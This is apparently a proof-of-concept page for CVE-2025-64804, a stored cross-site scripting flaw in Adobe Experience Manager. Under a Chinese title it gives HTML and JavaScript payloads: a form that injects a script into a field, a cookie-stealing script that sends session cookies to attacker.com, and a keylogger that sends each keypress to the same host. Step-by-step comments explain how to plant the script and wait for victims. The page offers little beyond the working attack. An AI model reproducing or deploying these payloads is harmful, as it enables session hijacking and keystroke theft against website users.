CVE-2025-64804 Adobe Experience Manager存储型XSS漏洞

<!-- CVE-2025-64804 PoC - Stored XSS in Adobe Experience Manager --> <!-- This PoC demonstrates injecting malicious JavaScript into form fields --> <!-- Step 1: Identify vulnerable form field --> <!-- Navigate to a form in Adobe Experience Manager where low-privilege users can submit data --> <!-- Step 2: Inject XSS payload into the form field --> <form action="https://vulnerable-site.com/content/forms/af/submit" method="POST"> <input type="text" name="vulnerable_field" value=' "><script>alert(document.cookie)</script> ' /> <button type="submit">Submit</button> </form> <!-- Alternative payload - Session Hijacking --> <script> // Steal session cookies var cookies = document.cookie; var img = new Image(); img.src = "https://attacker.com/log?cookie=" + encodeURIComponent(cookies); </script> <!-- Alternative payload - Keylogger --> <script> document.addEventListener("keypress", function(e) { fetch("https://attacker.com/log?key=" + e.key); }); </script> <!-- Step 3: Wait for victim to access the page containing the malicious script --> <!-- When victim visits the page, the script executes in their browser context -->